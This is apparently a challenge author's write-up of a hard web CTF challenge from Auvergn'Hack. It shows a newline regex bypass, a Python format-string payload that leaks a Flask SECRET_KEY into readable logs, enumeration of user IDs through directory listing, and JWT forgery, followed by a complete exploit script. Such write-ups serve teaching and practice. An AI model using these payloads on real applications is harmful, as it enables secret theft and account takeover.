Introduction
Auvergn’Hack is a cybersecurity conference held in Clermont-Ferrand, France on April 5th. This year was the first edition, and I had the chance to create a few challenges in the Web, Forensic, and Misc categories. Even though the CTF was not perfect due to infrastructure issues, it was a pleasure to see people playing and trying to solve as many challenges as possible, and to be able to answer their questions.
Hoping next one will be even better ! 🐒
Challenge description
- category : web
- difficulty : hard
- points : 600
- description :
Only a real Kong can get my flag !
Bypassing Regex
While browsing the website, we come across the following page :
By inspecting the app.py
file, we can enumerate the enpoints :
@app.route('/api/', methods =['GET'])
@app.route('/api/products', methods =['GET'])
@app.route('/api/me', methods =['GET'])
@app.route('/api/login', methods =['POST'])
@app.route('/api/signup', methods =['POST'])
We also understand that we need an account with the appropriate kong
role to retrieve the flag.
@app.route('/api/products', methods =['GET'])
@token_required
def products(current_user):
products = [
{"name":"MonkeyHacker T-Shirt","description":"Underground style, ultimate comfort"},
{"name":"Pentest USB Key","description":"Your hacking tools always within reach"},
{"name":"Terminal Sticker","description":"Customize your gear with style"}
]
if current_user.role == "kong":
products.append({"name":"FLAG","description":"ZiTF{}"})
return jsonify(products), 200
Inspecting the /api/me
endpoint reveals a regex filter applied before the log_basic()
function is called.
@app.route('/api/me', methods =['GET'])
@token_required
def me(current_user):
current_user_json = current_user.as_dict()
filters = request.args.getlist('filters')
if filters:
for f in filters:
if re.match(r'.*(\<|\>|\{|\}|\"|\'|\;).*',f):
return jsonify({'message' : 'Stop hacking !'}), 403
current_user_json = {key: value for key, value in current_user_json.items() if key in filters}
logger.log_basic(f"/me filter={filters}",current_user)
return jsonify(current_user_json), 200
This regex can be easily bypassed by using a \n
, as shown below :
>>> import re
>>> def regex(input):
... if re.match(r'.*(\<|\>|\{|\}|\"|\'|\;).*',input):
... print("Blocked !")
... else:
... print("Bypassed !")
...
>>> regex('this is a poc ; ls')
Blocked !
>>> regex('this is a poc \n; ls')
Bypassed !
Format String
Continuing the code review, we reach the logger.py
file and the following piece of code :
def write_log(self,log,user_id):
with open(f"{self.log_path}/{user_id}","a") as f:
f.write(log)
def log_basic(self, endpoint, user):
log = (endpoint + self.log_template).format(user=user,date=self.get_date())
self.write_log(log,user.public_id)
Here we can identify a format string
vulnerability, as we have control over the endpoint
parameter.
This article from Podalirus explains how format strings can be exploited to leak sensitive data.
Let’s try it 🔥
When exploiting a format string vulnerability, we can only reference variables passed as parameters. So, let’s attempt to access our user’s password to confirm.
$ token=eyJhbGciOiJ...
$ curl -H "Authorization: $token" "http://localhost:8000/api/me?filters=email%0a%7Buser.password%7D"
{}
$ curl http://localhost:8000/secure_logs/f55c495d-4a1b-44c1-af17-bcabfb9f2b55
...
/me filter=['email\nscrypt:32768:8:1$E7lW2lbKnAB2dQhL$d123e33e8b33693cb0d1970ec8b53c895871a2ac6d4f76f66d85b1f88f4c25598927f7466f10c40da611ba66f619d1dbaf099c2e9b8b0da2cc6ced3a66ac91e9'] | User Info : zitf.zitf(hacker@zitf.fr) | [2025-04-11 13:59:46]
Now, the hardest part is finding a way to leak the SECRET_KEY
used to sign JWT tokens.
A working payload is :
{user.query.session._db.__class__.__init__.__globals__[current_app].config}
Proof of Concept :
$ payload='{user.query.session._db.__class__.__init__.__globals__[current_app].config}'
$ curl -H "Authorization: $token" --path-as-is "http://localhost:8000/api/me?filters=email%0a$(echo -ne $payload | jq -sRr @uri)"
{}
$ curl http://127.0.0.1:8000/secure_logs/f55c495d-4a1b-44c1-af17-bcabfb9f2b55
...
/me filter=['email\n<Config {'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': '90e115e651709c0d60e50ae95edfb64fdd9d30f393acd7dcb18823dc5a9c2bef', 'SECRET_KEY_FALLBACKS': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'TRUSTED_HOSTS': None, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PARTITIONED': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'MAX_FORM_MEMORY_SIZE': 500000, 'MAX_FORM_PARTS': 1000, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'PROVIDE_AUTOMATIC_OPTIONS': True, 'LOG_PATH': '/logs', 'SQLALCHEMY_DATABASE_URI': 'sqlite:////db/users.db', 'SQLALCHEMY_TRACK_MODIFICATIONS': True, 'VERSION': 'v1', 'SQLALCHEMY_ENGINE_OPTIONS': {}, 'SQLALCHEMY_ECHO': False, 'SQLALCHEMY_BINDS': {}, 'SQLALCHEMY_RECORD_QUERIES': False}>'] | User Info : zitf.zitf(hacker@zitf.fr) | [2025-04-13 14:25:21]
BINGO ! We successfully leaked the SECRET_KEY
value !
Get the flag
To finish the challenge and get the flag, we need to authenticate as a user with Kong
role.
The idea is to take advantage of directory listing inside secure_logs
, enabled by the Nginx configuration.
location /secure_logs/ {
alias /logs/;
autoindex on;
}
From there, we can extract all user IDs, since they are used as log filenames.
$ curl -s http://127.0.0.1:8000/secure_logs/ | more
<html>
<head><title>Index of /secure_logs/</title></head>
<body>
<h1>Index of /secure_logs/</h1><hr><pre><a href="../">../</a>
<a href="00683b92-dff7-4867-9c2c-ebf424a2d39a">00683b92-dff7-4867-9c2c-ebf424a2d39a</a> 10-Apr-2025 17:58 80
<a href="011707c3-2d11-4add-9378-9ef1db2dad53">011707c3-2d11-4add-9378-9ef1db2dad53</a> 10-Apr-2025 17:58 77
<a href="018db99f-a077-4364-8a7a-3b60887f462f">018db99f-a077-4364-8a7a-3b60887f462f</a> 10-Apr-2025 17:58 88
<a href="0323bd75-ab3a-4dd4-81cf-2157c37201d6">0323bd75-ab3a-4dd4-81cf-2157c37201d6</a> 10-Apr-2025 17:58 81
<a href="03a3e050-9d1b-40f5-a5ea-2c90062e80cc">03a3e050-9d1b-40f5-a5ea-2c90062e80cc</a> 10-Apr-2025 17:58 83
<a href="04b49042-bf1a-47ca-b938-b59465ef99c9">04b49042-bf1a-47ca-b938-b59465ef99c9</a> 10-Apr-2025 17:58 76
...
With a bit of scripting, we will generate a JWT for each ID and check which one gives us the flag in the /api/products
API response.
$ ./solve.py
[*] Account created
[*] Log In : OK
[*] Public id => 26cba78b-87e6-4e18-b221-f529bfae18c6
[*] Secret Key => 90e115e651709c0d60e50ae95edfb64fdd9d30f393acd7dcb18823dc5a9c2bef
!! BINGO !!
[{"description":"Underground style, ultimate comfort","name":"MonkeyHacker T-Shirt"},{"description":"Your hacking tools always within reach","name":"Pentest USB Key"},{"description":"Customize your gear with style","name":"Terminal Sticker"},{"description":"ZiTF{}","name":"FLAG"}]
Nice ! We successuflly retrieved the flag ! 🏴☠️
Exploit Script
#!/usr/bin/python3
import requests
from bs4 import BeautifulSoup
import jwt
from datetime import datetime, timedelta
import re
URL = 'http://localhost:8000'
USER = {
'firstname':'hacker',
'lastname':'hacker',
'email':'hacker@zitf.fr',
'password':'HackIngIsFun'
}
def create_account():
r = requests.post(url = URL+'/api/signup',json = USER)
if r.status_code != 201:
print("[*] Error signup")
print(r.text)
exit()
def login():
r = requests.post(url = URL+'/api/login',json = USER)
if r.status_code != 201:
print("[*] Error login")
exit()
return r.json()['token']
def get_public_id(token):
r = requests.get(URL + '/api/me', headers = {'Authorization':token})
uuid = r.json()['public_id']
return uuid
def format_string(token):
r = requests.get(url=URL+'/api/me',params={'filters':'email\n{user.query.session._db.__class__.__init__.__globals__[current_app].config}'}, headers = {'Authorization':token},proxies = {'http':'http://127.0.0.1:8080','https':'http://localhost:8080'})
if r.status_code != 200:
print(r.text)
exit()
def get_secret_key(public_id):
r = requests.get(URL + '/secure_logs/' + public_id)
if r.status_code != 200:
print("[*] Fail to catch logs")
exit()
data = r.text
res = re.search(r"SECRET_KEY': \s*'([^']*)",data)
return res.group(1)
def get_all_public_id():
r = requests.get(url = URL + '/secure_logs/')
public_ids = [a['href'] for a in BeautifulSoup(r.text, 'html.parser').find_all('a', href=True)]
return public_ids[1:]
def get_flag(secret_key,all_uuids):
for uuid in all_uuids:
token = jwt.encode({
'public_id': uuid,
'exp' : datetime.utcnow() + timedelta(minutes = 30)
}, secret_key, algorithm="HS256")
r = requests.get(url = URL + '/api/products',headers = {'Authorization':token})
if len(r.json()) != 3:
print("!! BINGO !!")
print(r.text)
exit()
if __name__ == '__main__':
create_account()
print("[*] Account created")
token = login()
print("[*] Log In : OK")
public_id = get_public_id(token)
print(f"[*] Public id => {public_id}")
format_string(token)
secret_key = get_secret_key(public_id)
print(f"[*] Secret Key => {secret_key}")
all_uuids = get_all_public_id()
get_flag(secret_key,all_uuids)